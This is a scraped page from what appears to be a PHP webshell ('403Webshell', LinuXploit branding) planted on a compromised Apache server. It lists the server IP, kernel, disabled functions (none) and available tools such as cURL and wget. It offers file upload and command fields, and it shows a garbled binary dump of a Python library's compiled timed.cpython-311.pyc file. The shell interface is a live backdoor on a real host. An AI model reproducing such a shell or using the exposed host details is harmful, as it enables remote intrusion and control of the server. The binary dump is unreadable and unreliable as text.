403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/itsdangerous/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/itsdangerous/__pycache__/timed.cpython-311.pyc
�

ʉ<b���N�ddlZddlZddlZddlmZddlmZddlmZddlmZddlmZddlm	Z	dd	lm
Z
dd
lmZddlm
Z
ddlmZdd
lmZddlmZejeefZejeZejeZejrddlZGd�de��ZGd�de��ZdS)�N)�datetime)�timezone�)�
base64_decode)�
base64_encode)�bytes_to_int)�int_to_bytes)�
want_bytes)�BadSignature)�BadTimeSignature)�SignatureExpired)�
Serializer)�Signerc�:��eZdZdZdefd�Zdedefd�Zdede	fd�Z
ej		dd
ede
dd
de	fd���Zej		dd
ede
dddeje	effd���Z		dd
ede
dedejeje	efe	ff�fd�
Zdd
ede
defd�Z�xZS)�TimestampSignerz�Works like the regular :class:`.Signer` but also records the time
    of the signing and can be used to expire signatures. The
    :meth:`unsign` method can raise :exc:`.SignatureExpired` if the
    unsigning failed because the signature is expired.
    �returnc�B�ttj����S)zTReturns the current timestamp. The function must return an
        integer.
        )�int�time)�selfs �4/usr/lib/python3/dist-packages/itsdangerous/timed.py�
get_timestampzTimestampSigner.get_timestamp!s���4�9�;�;�����tsc�B�tj|tj���S)a Convert the timestamp from :meth:`get_timestamp` into an
        aware :class`datetime.datetime` in UTC.

        .. versionchanged:: 2.0
            The timestamp is returned as a timezone-aware ``datetime``
            in UTC rather than a naive ``datetime`` assumed to be UTC.
        )�tz)r�
fromtimestampr�utc)rrs  r�timestamp_to_datetimez%TimestampSigner.timestamp_to_datetime's���%�b�X�\�:�:�:�:r�valuec���t|��}tt|�������}t|j��}||z|z}||z|�|��zS)z:Signs the given string and also attaches time information.)r
rr	r�sep�
get_signature)rr �	timestampr"s    r�signzTimestampSigner.sign1sj���5�!�!��!�,�t�/A�/A�/C�/C�"D�"D�E�E�	����"�"�����i�'���s�{�T�/�/��6�6�6�6rNF�signed_value�max_age�return_timestampz_te.Literal[False]c��dS�N��rr&r'r(s    r�unsignzTimestampSigner.unsign<�	��	�rTz_te.Literal[True]c��dSr*r+r,s    rr-zTimestampSigner.unsignEr.rc���	t���|��}d}n"#t$r}|}|jpd}Yd}~nd}~wwxYwt	|j��}||vr|r|�t
d|����|�|d��\}}	d}
d}	tt|	����}
n#t$rYnwxYw|�i|
�H	|�|
��}n1#tttf$r}t
d|���|�d}~wwxYwt
t|��||����|
�t
d|����|�x|���|
z
}
|
|kr,t#d|
�d	|�d
�||�|
������|
dkr)t#d|
�d�||�|
������|r||�|
��fS|S)
a�Works like the regular :meth:`.Signer.unsign` but can also
        validate the time. See the base docstring of the class for
        the general behavior. If ``return_timestamp`` is ``True`` the
        timestamp of the signature will be returned as an aware
        :class:`datetime.datetime` object in UTC.

        .. versionchanged:: 2.0
            The timestamp is returned as a timezone-aware ``datetime``
            in UTC rather than a naive ``datetime`` assumed to be UTC.
        Nrztimestamp missing)�payloadrzMalformed timestamp)r1�date_signedzSignature age z > z secondsrz < 0 seconds)�superr-rr1r
r"r�rsplitrr�	Exceptionr�
ValueError�OSError�
OverflowError�strrr
)rr&r'r(�result�	sig_error�er"r �ts_bytes�ts_int�ts_dt�exc�age�	__class__s              �rr-zTimestampSigner.unsignNsu��� 	&��W�W�^�^�L�1�1�F��I�I���	&�	&�	&��I��Y�%�#�F�F�F�F�F�F�����	&�������"�"���f����
 ���"�#6��G�G�G�G� �-�-��Q�/�/���x�!��'+��	�!�-��"9�"9�:�:�F�F���	�	�	��D�	����
� ��!�� �6�6�v�>�>�E�E��"�G�]�;����+�-�u��������������#�3�y�>�>�5�e�T�T�T�T��>�"�#8�%�H�H�H�H����$�$�&�&��/�C��W�}�}�&�>�S�>�>�W�>�>�>�!� $� :� :�6� B� B������Q�w�w�&�6�S�6�6�6�!� $� :� :�6� B� B������	=��$�4�4�V�<�<�<�<��s>�#'�
A�A�A�B1�1
B>�=B>�C�D
�3D�D
c�X�	|�||���dS#t$rYdSwxYw)zeOnly validates the given signed value. Returns ``True`` if
        the signature exists and is valid.)r'TF)r-r)rr&r's   r�validatezTimestampSigner.validate�sD��	��K�K��g�K�6�6�6��4���	�	�	��5�5�	���s��
)�))NF)NTr*)�__name__�
__module__�__qualname__�__doc__rrrr�_t_str_bytes�bytesr%�typing�overload�
_t_opt_intr-�_t�Tuple�bool�UnionrD�
__classcell__�rBs@rrrs���������� �s� � � � �;��;��;�;�;�;�7�,�7�5�7�7�7�7��_�#�16�	��"����/�	�

�����_���_�#�04�	��"����.�	�

��%��/�	"�����_��#�!&�	V�V�"�V��V��	V�

��"�(�5�(�?�+�U�2�	3�V�V�V�V�V�V�p��\��J��RV��������rrc����eZdZUdZeZejeed<	d
de	dej
ef�fd�
Z			dded	e
d
ede	dejf
d�Z		dded	e
de	dejeejffd�Z�xZS)�TimedSerializerzOUses :class:`TimestampSigner` instead of the default
    :class:`.Signer`.
    �default_signerN�saltrc�l��tjdt���|����S)Nz_t.Iterator[TimestampSigner])rN�castr3�iter_unsigners)rrWrBs  �rrZzTimedSerializer.iter_unsigners�s*����w�5�u�w�w�7M�7M�d�7S�7S�T�T�TrF�sr'r(c�F�t|��}d}|�|��D]a}	|�||d���\}}|�|��}	|r|	|fcS|	cS#t$r�t
$r}
|
}Yd}
~
�Zd}
~
wwxYwt
jt
|���)a�Reverse of :meth:`dumps`, raises :exc:`.BadSignature` if the
        signature validation fails. If a ``max_age`` is provided it will
        ensure the signature is not older than that time in seconds. In
        case the signature is outdated, :exc:`.SignatureExpired` is
        raised. All arguments are forwarded to the signer's
        :meth:`~TimestampSigner.unsign` method.
        NT)r'r()r
rZr-�load_payloadr
rrNrY)rr[r'r(rW�last_exception�signer�base64dr$r1�errs           r�loadszTimedSerializer.loads�s���
�q�M�M�����)�)�$�/�/�	%�	%�F�
%�%+�]�]��w��&3�&�&�"����+�+�G�4�4��#�.�"�I�-�-�-�-������#�
�
�
���
%�
%�
%�!$�����������
%�����g�l�N�3�3�3s�5A&�"A&�&B�:B�Bc�6�|�||d|i���S)Nr')�load_kwargs)�_loads_unsafe_impl)rr[r'rWs    r�loads_unsafezTimedSerializer.loads_unsafe�s$���&�&�q�$�Y��<P�&�Q�Q�Qrr*)NFN)NN)rErFrGrHrrVrN�Type�__annotations__�_t_opt_str_bytes�IteratorrZrIrMrP�AnyrbrOrfrRrSs@rrUrU�sD����������0?�N�B�G�O�,�>�>�>�(,�U�U�$�U�	��_�	%�U�U�U�U�U�U�#�!&�!%�#4�#4��#4��#4��	#4�
�#4�
��
#4�#4�#4�#4�P#�!%�	R�R��R��R��	R�

��$���,�	�R�R�R�R�R�R�R�RrrU) rrKrNrr�encodingrrrr	r
r@rrr
�
serializerrr_rrQr9rJrI�OptionalrirrM�
TYPE_CHECKING�typing_extensions�_terrUr+rr�<module>rrs�������
�
�
�
�����������������#�#�#�#�#�#�#�#�#�#�#�#�"�"�"�"�"�"�"�"�"�"�"�"� � � � � � �������!�!�!�!�!�!�!�!�!�!�!�!�"�"�"�"�"�"��������x��U�
�#���;�|�,��
�[��
�
���$�#�#�#�#�S�S�S�S�S�f�S�S�S�l:R�:R�:R�:R�:R�j�:R�:R�:R�:R�:Rr

Youez - 2016 - github.com/yon3zu
LinuXploit